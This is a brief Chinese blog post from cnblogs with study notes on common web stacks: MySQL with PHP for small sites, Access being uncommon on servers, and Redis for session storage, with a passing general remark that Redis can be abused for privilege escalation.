MySQL+php是常见的前端组合,它们被广泛用于中小型论坛、博客或其他网站,开发成本低。
一般服务器中不适用Access作为数据库存储。
redis常用来存储需要反复读取的信息,如session信息。redis可以被用来提权,以此来获得服务器的root权限。
本文来自博客园,作者:lamaper,转载请注明原文链接:https://www.cnblogs.com/lamaper/p/16651332.html